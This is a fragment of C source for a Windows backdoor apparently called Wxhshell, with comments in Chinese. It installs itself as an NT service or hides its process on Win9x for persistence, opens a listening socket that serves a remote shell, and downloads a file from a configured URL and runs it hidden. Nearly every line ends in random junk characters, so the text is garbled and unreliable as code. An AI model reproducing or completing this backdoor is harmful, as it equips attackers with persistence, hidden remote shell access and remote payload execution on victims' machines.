DWORD BasePriority; %^A++Z$`
ULONG UniqueProcessId; qa#F}aGd
ULONG InheritedFromUniqueProcessId; ^DJU99
} PROCESS_BASIC_INFORMATION; T!$HVHh&,}
LZ$!=vg4
PROCNTQSIP NtQueryInformationProcess; ?`iBp+iBv
:RG6gvz
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~)(Dm+vZ
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q|\Cp
[X\2U4
HANDLE hProcess; b&&'b)
PROCESS_BASIC_INFORMATION pbi; w%na n=
cE?J]5#^
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yx4c+(J^8
if(NULL == hInst ) return 0; cV,URUD
`_kRvpi
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 81C?U5
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]C^*C|
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yIP
IA%dJ
6FAP *V;
if (!NtQueryInformationProcess) return 0; /zAx`H
;bmd<1
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w Nnb@
if(!hProcess) return 0; =25"qJr
)Qp?LECrt
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "[,XS`
' JVvL
CloseHandle(hProcess); h<q``hn>
.$;GVJ-:5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Dbd5d]]n3
if(hProcess==NULL) return 0; F*u;'K
c7 -j
HMODULE hMod; |&.)_+w
char procName[255]; 5}VP-04vh
unsigned long cbNeeded; l"Q8`
\U8Vsx1tl
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D:0PppE
'-qc\6UY
CloseHandle(hProcess); GW#Wy=(_
L x&ZWF$
if(strstr(procName,"services")) return 1; // 以服务启动 XFYl[?`G
X8TZePh
return 0; // 注册表启动 [)?3Dp|MH
} 75ob1h"
1:8: yFV
// 主模块 9IMcp~zX
int StartWxhshell(LPSTR lpCmdLine) X88ZdM'
{ )kUw,F=6
SOCKET wsl; =lnz5H
BOOL val=TRUE; wXnt3)e
int port=0; ^W*/!q7H
struct sockaddr_in door; N:.bnF(
9yPB)&"EF
if(wscfg.ws_autoins) Install(); {,ljIhc,
XhiC'.B_
port=atoi(lpCmdLine); kzT'
*G4;
if(port<=0) port=wscfg.ws_port; X"sN~Q.0
TM;)[R@
WSADATA data; WfVie6
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z^3Risi
[z9i v~
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ?CC6/bE-{
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TMrmyvv
door.sin_family = AF_INET; '}=M~
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5s9~rm
door.sin_port = htons(port); W*2SlS7
9"e!0Q4 0
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y|L57F
closesocket(wsl); zc#`qa:0
return 1; ]SI`fja/
} Q2o:wXvj
P!/8
if(listen(wsl,2) == INVALID_SOCKET) { uQlV zN.?
closesocket(wsl); Fk\xq`3'c
return 1; QK\z-'&n
} *gnL0\*
Wxhshell(wsl); P'+*d#*S
WSACleanup(); ?5D7n"jY
>JhQ=j
return 0; 6{6tg>|L)
%F7k| Na
} s]qfLC
FpEdwzBb<
// 以NT服务方式启动 ur|2FS7
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hI
yfF
{ r BL)ct
DWORD status = 0; _cB~?c
DWORD specificError = 0xfffffff; /[p4. FL
?w+T_EH
serviceStatus.dwServiceType = SERVICE_WIN32; Hs9uDGWp
serviceStatus.dwCurrentState = SERVICE_START_PENDING; f]EHDcC3X
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sQkP@Y
serviceStatus.dwWin32ExitCode = 0; !Kis,e
serviceStatus.dwServiceSpecificExitCode = 0; DbDpdC;
serviceStatus.dwCheckPoint = 0; /i<g>*82
serviceStatus.dwWaitHint = 0; [3s~Z8
pP
oUqNA|l
T
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;AaF ;zPV
if (hServiceStatusHandle==0) return; \n5,!,A
8`D_"3j3g\
status = GetLastError(); [":x
if (status!=NO_ERROR) 1/ a,7Hl
{ mEGMe@37
serviceStatus.dwCurrentState = SERVICE_STOPPED; .*Z]0~ &|
serviceStatus.dwCheckPoint = 0; .IqS}Rh
serviceStatus.dwWaitHint = 0; nsPM`dz/
serviceStatus.dwWin32ExitCode = status; {_Y\Y
serviceStatus.dwServiceSpecificExitCode = specificError; :2?du
SetServiceStatus(hServiceStatusHandle, &serviceStatus); c~V\,lcI
return; ci!c7 ,'c
} SFjN5u
C-(&zwj?!
serviceStatus.dwCurrentState = SERVICE_RUNNING; b(yY.L=K
serviceStatus.dwCheckPoint = 0; ]T$~a8
serviceStatus.dwWaitHint = 0; D`ZYF)[}J
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r`=d4dK-
} mVxS[Gq
@M1U)JoQ
// 处理NT服务事件,比如:启动、停止 f-Sb:O!V
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5b&'gd^d
{ 30<^0J.1
switch(fdwControl) bV"0}|A~K
{ :KQ<rLd
case SERVICE_CONTROL_STOP: =hA/;
serviceStatus.dwWin32ExitCode = 0; oyUf/Sl
serviceStatus.dwCurrentState = SERVICE_STOPPED; 6|zA,-=
serviceStatus.dwCheckPoint = 0; $V[ob
serviceStatus.dwWaitHint = 0; j8lbn |.
{ js{ RaR=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]!/1qF
} (qaY,>je]D
return; wm}i+ApK
case SERVICE_CONTROL_PAUSE: A >e%rx
serviceStatus.dwCurrentState = SERVICE_PAUSED; 4 1Ru@
break; N-^\e)ln
case SERVICE_CONTROL_CONTINUE: qZ4DO*%b3
serviceStatus.dwCurrentState = SERVICE_RUNNING; H)5]K9D
break; )T^hyi$
case SERVICE_CONTROL_INTERROGATE: VL\6U05Z
break; |2mEowAd
}; BM3nZ<%3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); !Ed';yfz\(
} k]v a
hgm`6TQ
// 标准应用程序主函数 C&Rv)j
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qp7>_B
{ NJ|8##Z>
B$fL);l-
// 获取操作系统版本 -G{}8GM
OsIsNt=GetOsVer(); 6JJ%`Uojh
GetModuleFileName(NULL,ExeFile,MAX_PATH); SW bwD/SN
P?>p+dM
// 从命令行安装 =ahD'*R^A
if(strpbrk(lpCmdLine,"iI")) Install(); .6r&<*
U:_&aY_
// 下载执行文件 o0AREZ+I
if(wscfg.ws_downexe) { rt f}4.
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 291v
R]
WinExec(wscfg.ws_filenam,SW_HIDE); <jxTI%'f59
} |S/nq_g]
=l
{>-`:
if(!OsIsNt) { 5{{u #W%=
// 如果时win9x,隐藏进程并且设置为注册表启动 %KqXtc`O
HideProc();
MgA6/k
StartWxhshell(lpCmdLine); u{HB5QqK
} 4-sUy
else t;
"o,T
if(StartFromService()) O4 [[9
// 以服务方式启动 *vht</?J
StartServiceCtrlDispatcher(DispatchTable); sI#K01;"
else cBU>/
zIp
// 普通方式启动 F$d`Umqs;P
StartWxhshell(lpCmdLine); 0rF{"HM~
x6m21DW w
return 0; kYx|`-PA<r
}